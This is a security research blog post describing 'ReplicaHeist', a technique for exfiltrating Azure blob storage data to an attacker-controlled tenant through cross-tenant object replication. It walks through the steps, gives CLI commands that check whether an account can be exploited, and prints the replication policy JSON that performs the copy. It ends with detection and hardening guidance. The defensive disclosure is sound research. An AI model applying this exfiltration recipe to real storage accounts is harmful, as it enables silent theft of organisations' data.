Table of Contents

ReplicaHeist: Inside Azure’s Cross-Tenant Data Exfiltration Technique
‍

‍
‍

The replication occurs within Azure's infrastructure, which makes the data transfer difficult to detect through conventional network monitoring. This technique is fast, seamless, and silent - and that's exactly the kind of hidden gap a threat actor could exploit. This blog shows how it works, and how to detect and prevent it.

TL;DR: Cross-tenant object replication is a legitimate Azure feature and a real exfiltration vector. One storage-account property, allowCrossTenantReplication, is the whole boundary.


Why it matters

In Azure, the Entra tenant is the ultimate security and billing boundary. Cross-tenant object replication crosses it by design: once an object replication policy is attached to both accounts, Azure's storage backend continuously copies block blobs from the source account in one tenant to the destination account in another.

The copy runs service-to-service inside Azure's storage backend and never traverses your data-plane network path to the account, so the controls you'd rely on to catch data leaving - egress firewalls, DLP, proxy logs - never see it, and the network controls on the account itself (storage firewall, private endpoints) aren't in the path either. For an attacker that is a persistent channel that survives credential rotation, works even with public network access off, and leaves nothing in the victim's own logs.

On storage accounts that were created before December 15, 2023, the allowCrossTenantReplication property is set to null by default, which Azure treats the same as true. Accounts created on or after that date default to false. Microsoft documents this change here.

‍
Threat model

This is a post-compromise or insider primitive. It assumes the attacker already has write access to the source account's configuration (for example Contributor scoped to the account, a common over-provisioning outcome). No malware or command-and-control is required to implement the attack since the whole technique is native Azure features plus a JSON policy attachment. This technique maps to MITRE ATT&CK: T1537, Transfer Data to Cloud Account.

What makes an account exploitable

A replication relationship needs three things in order to function properly.

Versioning and change feed are ordinary data-protection features and their presence tells a defender nothing. allowCrossTenantReplication is the only security boundary: when it is false, Azure rejects any policy whose source and destination are in different tenants, but when it is true or null, that's a whole different story.

Proof of concept

The flow followed Microsoft's documented order, with the destination specified first, followed by the source. Full resource IDs were used to ensure Azure could evaluate the tenant boundary correctly.

Two tenants controlled by Act Security's research team:

  • Source - actsrcaccount, "prod" tenant (subscription d767b1e3-cba4-4e34-aef9-03cb0e58852d, resource group rg-source). Deliberately misconfigured: versioning, change feed, and cross-tenant replication were on, with data in src-container.
    ‍
  • Destination - actdestaccount, separate "attacker" tenant (subscription 8b0b0b56-af14-459a-b315-d1e5dae43a30, resource group rg-destination). Stands in for attacker-controlled infrastructure.

Phase 1 - confirm the source is exploitable

  • actsrcaccount → Data protection, both Enable versioning for blobs and Enable blob change feed are checked.
Blob versioning and change feed both enabled under Data protection.

‍

  • actsrcaccount → Object replication → Advanced settings, Allow cross-tenant replication is checked - the boundary is open.
The only control between the account and a cross-tenant policy.
  • src-container → confirm the container has data worth taking, empty containers replicate nothing.
"src-container" holding the four blobs staged for exfiltration.

The same validation could be performed via the CLI:
‍

az storage account blob-service-properties show -g rg-source -n actsrcaccount \
--query "{versioning:isVersioningEnabled, changeFeed:changeFeed.enabled}" -o table
az storage account show -g rg-source -n actsrcaccount \
--query "allowCrossTenantReplication" -o table

‍

Phase 2 - create the policy on the destination

On actdestaccount → Object replication → Upload replication rules

The portal banner confirms that creating the policy auto-enables change feed and versioning on the source, and the page states replication will not start until the rules are also applied on the source account.

Destination first, then source.

  1. Destination: upload with policyId: default → Azure generates the GUIDs.
  2. Copy those GUIDs (policy ID and rule ID).
  3. Source: upload with the GUIDs filled in → replication starts.

‍
Attached Policy:

{
"properties": {
"policyId": "default",
"sourceAccount": "/subscriptions/d767b1e3-cba4-4e34-aef9-03cb0e58852d/resourceGroups/rg-source/providers/Microsoft.Storage/storageAccounts/actsrcaccount",
"destinationAccount": "/subscriptions/8b0b0b56-af14-459a-b315-d1e5dae43a30/resourceGroups/rg-destination/providers/Microsoft.Storage/storageAccounts/actdestaccount",
"rules": [
{
"sourceContainer": "src-container",
"destinationContainer": "dst-container",
"filters": {
"prefixMatch": [],
"minCreationTime": "2026-09-01T00:00:00Z"
}}]}}


Phase 3 - apply the matching policy on the source

Put the destination-generated GUIDs into the source-side JSON and upload it on actsrcaccount in the same way as in Phase 2. A one-sided policy is accepted by Azure without errors, but it remains inactive and has no effect.

Source account "actsrcaccount" showing matching outbound policy to "actdestaccount". With both sides applied, replication is active across the tenants.

Phase 4 - confirm the data crossed between the tenants

On actdestaccount → Object replication → Other accounts, the policy appears under "Objects copied into this account" from actsrcaccount.

The data moved from a container in the prod tenant to a container in a separate attacker tenant with no network path between them, no egress-firewall traversal, and no direct file transfer - purely by configuring a replication policy.

‍

Destination container dst-container in the attacker tenant that now holds identical copies of all four blobs.

It's time to Act

The risk often exists long before an attacker arrives. Cross-tenant replication may be enabled for legitimate reasons, leaving a potential data-exfiltration path open.

Act turns this exposure into enforced action.

It maps which storage accounts allow cross-tenant replication compared to which ones actually use it, simulates the change before anything is enforced, and walks teams through guided campaigns that close the setting across every account in one action. Accounts are only disabled once it’s confirmed that no legitimate replication workflow depends on them, and the ones that do are handled as documented exceptions.

To keep the setting from creeping back, the same campaign assigns Microsoft's built-in policy "Storage accounts should prevent cross tenant object replication" at the Tenant Root Group or your top management group. It treats an unset value as non-compliant, so legacy accounts are covered too.

The campaign rolls it out in two stages: first in Audit mode, so you see exactly which accounts it flags and can confirm the exception list, then in Deny mode, so no new or updated account can open the boundary again. For exposed accounts, the campaign removes attached replication policies and disables cross-tenant replication, while preserving blob versioning and change feed settings

‍